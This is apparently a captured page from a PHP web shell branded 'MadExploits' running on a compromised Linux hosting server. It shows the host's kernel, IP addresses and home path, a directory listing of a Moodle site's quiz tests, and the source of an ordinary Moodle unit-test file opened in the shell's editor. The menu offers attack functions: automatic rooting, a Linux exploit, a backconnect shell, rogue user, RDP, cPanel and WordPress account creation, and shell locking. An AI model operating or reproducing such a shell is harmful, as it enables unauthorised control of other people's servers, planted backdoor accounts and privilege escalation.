Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.71.254.128
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead.aptans /
mod /
quiz /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
backup
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxr-xr-x
event
[ DIR ]
drwxr-xr-x
external
[ DIR ]
drwxr-xr-x
fixtures
[ DIR ]
drwxr-xr-x
generator
[ DIR ]
drwxr-xr-x
privacy
[ DIR ]
drwxr-xr-x
attempt_test.php
17.16
KB
-rw-rw-r--
attempt_walkthrough_from_csv_t...
15.23
KB
-rw-rw-r--
attempt_walkthrough_test.php
16.21
KB
-rw-rw-r--
attempts_test.php
40.52
KB
-rw-r--r--
calendar_event_modified_test.p...
18.63
KB
-rw-r--r--
custom_completion_test.php
12.72
KB
-rw-rw-r--
dates_test.php
6.81
KB
-rw-r--r--
generator_test.php
2.14
KB
-rw-r--r--
lib_test.php
51.07
KB
-rw-rw-r--
local_structure_slot_random_te...
16.17
KB
-rw-rw-r--
locallib_test.php
37.47
KB
-rw-rw-r--
privacy_legacy_quizaccess_poly...
6.92
KB
-rw-r--r--
quiz_question_bank_view_test.p...
2.89
KB
-rw-rw-r--
quizdisplayoptions_test.php
3.76
KB
-rw-r--r--
quizobj_test.php
2.29
KB
-rw-r--r--
repaginate_test.php
10.75
KB
-rw-r--r--
reportlib_test.php
6.48
KB
-rw-r--r--
restore_attempt_test.php
4.32
KB
-rw-r--r--
restore_override_test.php
3.85
KB
-rw-r--r--
structure_test.php
39.41
KB
-rw-rw-r--
tags_test.php
3.84
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : quizdisplayoptions_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Unit tests for the mod_quiz_display_options class. * * @package mod_quiz * @category phpunit * @copyright 2010 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->dirroot . '/mod/quiz/locallib.php'); /** * Unit tests for {@link mod_quiz_display_options}. * * @copyright 2010 The Open University * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ class mod_quiz_display_options_testcase extends basic_testcase { public function test_num_attempts_access_rule() { $quiz = new stdClass(); $quiz->decimalpoints = 2; $quiz->questiondecimalpoints = -1; $quiz->reviewattempt = 0x11110; $quiz->reviewcorrectness = 0x10000; $quiz->reviewmarks = 0x01110; $quiz->reviewspecificfeedback = 0x10000; $quiz->reviewgeneralfeedback = 0x01000; $quiz->reviewrightanswer = 0x00100; $quiz->reviewoverallfeedback = 0x00010; $options = mod_quiz_display_options::make_from_quiz($quiz, mod_quiz_display_options::DURING); $this->assertEquals(true, $options->attempt); $this->assertEquals(mod_quiz_display_options::VISIBLE, $options->correctness); $this->assertEquals(mod_quiz_display_options::MAX_ONLY, $options->marks); $this->assertEquals(mod_quiz_display_options::VISIBLE, $options->feedback); // The next two should be controlled by the same settings as ->feedback. $this->assertEquals(mod_quiz_display_options::VISIBLE, $options->numpartscorrect); $this->assertEquals(mod_quiz_display_options::VISIBLE, $options->manualcomment); $this->assertEquals(2, $options->markdp); $quiz->questiondecimalpoints = 5; $options = mod_quiz_display_options::make_from_quiz($quiz, mod_quiz_display_options::IMMEDIATELY_AFTER); $this->assertEquals(mod_quiz_display_options::MARK_AND_MAX, $options->marks); $this->assertEquals(mod_quiz_display_options::VISIBLE, $options->generalfeedback); $this->assertEquals(mod_quiz_display_options::HIDDEN, $options->feedback); // The next two should be controlled by the same settings as ->feedback. $this->assertEquals(mod_quiz_display_options::HIDDEN, $options->numpartscorrect); $this->assertEquals(mod_quiz_display_options::HIDDEN, $options->manualcomment); $this->assertEquals(5, $options->markdp); $options = mod_quiz_display_options::make_from_quiz($quiz, mod_quiz_display_options::LATER_WHILE_OPEN); $this->assertEquals(mod_quiz_display_options::VISIBLE, $options->rightanswer); $this->assertEquals(mod_quiz_display_options::HIDDEN, $options->generalfeedback); $options = mod_quiz_display_options::make_from_quiz($quiz, mod_quiz_display_options::AFTER_CLOSE); $this->assertEquals(mod_quiz_display_options::VISIBLE, $options->overallfeedback); $this->assertEquals(mod_quiz_display_options::HIDDEN, $options->rightanswer); } }
Close